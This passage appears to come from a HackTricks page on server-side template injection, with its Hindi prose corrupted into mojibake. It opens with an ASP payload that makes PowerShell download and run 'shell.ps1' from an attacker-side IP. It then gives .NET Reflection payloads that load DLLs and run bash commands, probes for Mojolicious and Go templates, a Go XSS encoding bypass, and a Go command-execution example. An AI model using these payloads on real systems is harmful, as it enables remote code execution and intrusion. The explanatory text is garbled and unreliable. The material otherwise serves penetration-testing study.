<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

.Net рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛

.NET Reflection рддрдВрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдпрд╛ рдЕрд╕реЗрдВрдмрд▓реА рдореЗрдВ рд╡рд░реНрдЧреЛрдВ рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред DLL рдХреЛ рд░рдирдЯрд╛рдЗрдо рдкрд░ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдореВрд▓рднреВрдд рд╡рд╕реНрддреБрдУрдВ рд╕реЗ рд╡рд┐рдзрд┐рдпрд╛рдБ рдФрд░ рдЧреБрдг рд╕реБрд▓рдн рд╣реЛрддреЗ рд╣реИрдВред

Dll рдХреЛ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реЗред
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - рд╕реАрдзреЗ рдЕрдиреБрд░реЛрдз рд╕реЗред

рдкреВрд░реНрдг рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

Mojolicious (Perl)

рдпрд╣ рднрд▓реЗ рд╣реА perl рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ Ruby рдореЗрдВ ERB рдХреА рддрд░рд╣ рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %> <% perl code %>

SSTI in GO

Go рдХреЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдореЗрдВ, рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдкреБрд╖реНрдЯрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ:

  • {{ . }}: рдбреЗрдЯрд╛ рд╕рдВрд░рдЪрдирд╛ рдЗрдирдкреБрдЯ рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдЬрд┐рд╕рдореЗрдВ Password рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ, рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ {{ .Password }} рдЗрд╕реЗ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
  • {{printf "%s" "ssti" }}: "ssti" рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХреА рдЬрд╛рддреА рд╣реИред
  • {{html "ssti"}}, {{js "ssti"}}: рдпреЗ рдкреЗрд▓реЛрдб "ssti" рдХреЛ "html" рдпрд╛ "js" рдЬреЛрдбрд╝реЗ рдмрд┐рдирд╛ рд▓реМрдЯрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЖрдЧреЗ рдХреЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ Go рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдпрд╣рд╛рдВ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template рдкреИрдХреЗрдЬ рдХреЗ рд╕рд╛рде, XSS рдХреЛ рд╕реАрдзреЗ рдкреЗрд▓реЛрдб рдбрд╛рд▓рдХрд░ рд╕рд░рд▓рддрд╛ рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, html/template рдкреИрдХреЗрдЬ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗ (рдЬреИрд╕реЗ, {{"<script>alert(1)</script>"}} рдХрд╛ рдкрд░рд┐рдгрд╛рдо &lt;script&gt;alert(1)&lt;/script&gt; рд╣реЛрддрд╛ рд╣реИ)ред рдлрд┐рд░ рднреА, Go рдореЗрдВ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкрд░рд┐рднрд╛рд╖рд╛ рдФрд░ рдЖрд╣реНрд╡рд╛рди рдЗрд╕ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

RCE рд╢реЛрд╖рдг html/template рдФрд░ text/template рдХреЗ рдмреАрдЪ рдХрд╛рдлреА рднрд┐рдиреНрди рд╣реЛрддрд╛ рд╣реИред text/template рдореЙрдбреНрдпреВрд▓ рдХрд┐рд╕реА рднреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ ( "call" рдорд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ), рдЬреЛ html/template рдореЗрдВ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИред рдЗрди рдореЙрдбреНрдпреВрд▓ рдХреЗ рд▓рд┐рдП рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдпрд╣рд╛рдВ html/template рдХреЗ рд▓рд┐рдП рдФрд░ рдпрд╣рд╛рдВ text/template рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реИред

Go рдореЗрдВ SSTI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдХреЗ рд▓рд┐рдП, рдСрдмреНрдЬреЗрдХреНрдЯ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдПрдХ System рд╡рд┐рдзрд┐ рд╣реИ рдЬреЛ рдХрдорд╛рдВрдб рдЪрд▓рд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ {{ .System "ls" }}ред рдЗрд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ рд╕реНрд░реЛрдд рдХреЛрдб рддрдХ рдкрд╣реБрдВрдЪ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддреА рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ:

go
func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) }

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

рдЕрдзрд┐рдХ рд╢реЛрд╖рдг

рдЕрдзрд┐рдХ рд╢реЛрд╖рдгреЛрдВ рдХреЗ рд▓рд┐рдП https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред рдЖрдк https://github.com/DiogoMRSilva/websitesVulnerableToSSTI рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдЯреИрдЧ рдЬрд╛рдирдХрд╛рд░реА рднреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

BlackHat PDF

рд╕рдВрдмрдВрдзрд┐рдд рд╕рд╣рд╛рдпрддрд╛

рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдкрдврд╝реЗрдВ:

рдЙрдкрдХрд░рдг

рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди рд╕реВрдЪреА

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

рдЕрднреНрдпрд╛рд╕ рдФрд░ рд╕рдВрджрд░реНрдн

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ